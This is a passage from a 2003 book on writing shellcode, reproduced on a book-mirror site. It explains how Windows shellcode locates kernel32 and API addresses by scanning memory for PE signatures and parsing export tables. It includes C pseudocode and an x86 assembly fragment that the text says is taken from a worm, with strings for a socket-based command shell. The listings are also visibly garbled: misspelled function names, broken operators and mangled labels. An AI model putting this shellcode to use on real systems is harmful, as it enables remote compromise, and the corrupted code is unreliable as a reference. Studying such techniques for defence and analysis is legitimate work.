Direct Search in Memory

The most universal, portable, and reliable method of determining addresses of API functions is scanning the address space of the process to find PE signatures and subsequent parsing of the export table.

Set the pointer to c0000000h (the upper boundary of the user space for Windows 2000 Advanced Server and Datacenter Server, starting with the /3GB boot parameter) or to 80000000h (the upper boundary of the user space for all other systems).

Check the pointer availability by calling the IsBadReadPrt function exported by kernel32.dll, or set the custom structured exception handler to prevent a system crash (detailed information on handling structured exceptions was provided in Chapter 5). If there is the MZ signature, increase the pointer by 3Ch bytes, retrieving the e_lfanew double word, which contains the offset of the PE signature. If this signature is detected , then the base load address of the dynamic module has been found, and it is possible to proceed with parsing of the export table, from which it is necessary to retrieve the addresses of the GetLoadLibraryA and GetProcAddress functions. Knowing these addresses, it will be possible to retrieve all remaining information. If at least one of the preceding conditions hasn't been met, then it is necessary to decrease the pointer by 10000h and repeat the entire procedure (base load addresses are always multiples of 10000h ; therefore, this technique is legal). Pseudocode that searches for the base addresses of all loaded modules by PE signature is shown in Listing 11.6.

Listing 11.6: Searching for the base addresses of all loaded modules by PE signature
image from book
 BYTE* pBaseAddress = (BYTE*) 0xC0000000;   // Upper boundary for all systems while(pBaseAddress)                        // Loop {      // Check the address for availability for reading.      if (!IsBadReadPtr(pBaseAddress, 2))      // Is this MZ?      if (*(WORD*)pBaseAddress == 0x5A4D)      // Is the pointer to PE valid?      if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C)), 4))      // Is this PE?      if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress + 0x3C)))  =  0x4550)      // Proceed with parsing the export table      if (n2k_siirple_export_walker (pBaseAddress)) break;      // Test the next 64-KB block      pBaseAddress -= 0x10000; } 
image from book
 

Parsing of the export table is carried out approximately as shown in Listing 11.7. This example was borrowed from the unnamed worm from Black Hat, the complete source code of which can be found at http://www.blackhat.com .

Listing 11.7: Manually parsing the export table
image from book
 CALL         here         DB           "GetProcAddress", 0, "LoadLibraryA", 0         DB           "CreateProcessA", 0, "ExitProcess", 0         DB           "ws2_32", 0, "WSASocketA", 0         DB           "bind", 0, "listen", 0, "accept", 0         DB           "cmd", 0 here:         POP          EDX         PUSH         EDX         MOV          EBX, 77F00000h 11:         CMP          dword ptr [EBX], 905A4Dh ; /x90ZM         JE           12         ;DB          74h, 03h         DEC          EBX         JMP          11 12:         MOV          ESI, dword ptr [EBX + 3Ch]         ADD          ESI, EBX         MOV          ESI, dword ptr [ESI + 78h]         ADD          ESI, EBX         MOV          EDI, dword ptr [ESI + 20h]         ADD          EDI, EBX         MOV          ECX, dword ptr [ESI + 14h]         PUSH         ESI         XOR          EAX, EAX 14:         PUSH         EDI         PUSH         ECX         MOV          EDI, dword ptr [EDI]         ADD          EDI, EBX         MOV          ESI, EDX         XOR          ECX, ECX ; GetProcAddress         MOV          CL, 0Eh         REPE         CMPS         POP          ECX         POP          EDI         JE           13         ADD          EDI, 4         INC          EAX         LOOP         14         JMP          ECX 13:         POP          ESI         MOV          EDX, dword ptr [ESI + 24h]         ADD          EDX, EBX         SHL          EAX, 1         ADD          EAX, EDX         XOR          ECX, ECX         MOV          CX, word ptr [EAX]         MOV          EAX, dword ptr [ESI + ICh]         ADD          EAX, EBX         SHL          ECX, 2         ADD          EAX, ECX         MOV          EDX, dword ptr [EAX]         ADD          EDX, EBX         POP          ESI         MOV          EDI, ESI         XOR          ECX, ECX ; Get 3 Addr         MOV          CL, 3         CALL         loadaddr         ADD          ESI, 0Ch 
image from book
 

The main drawback of this method is its bulkiness. Recall that the maximum allowed size of the shellcode is limited. Unfortunately, nothing better has been invented.

The search for the base address can be optimized. In the next few sections, I will demonstrate how it is possible to do this. However, parsing of the export table cannot be avoided. This is the inevitable payment for the portability of the shellcode.



Shellcoder's Programming Uncovered
Shellcoders Programming Uncovered (Uncovered series)
ISBN: 193176946X
EAN: 2147483647
Year: 2003
Pages: 164

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net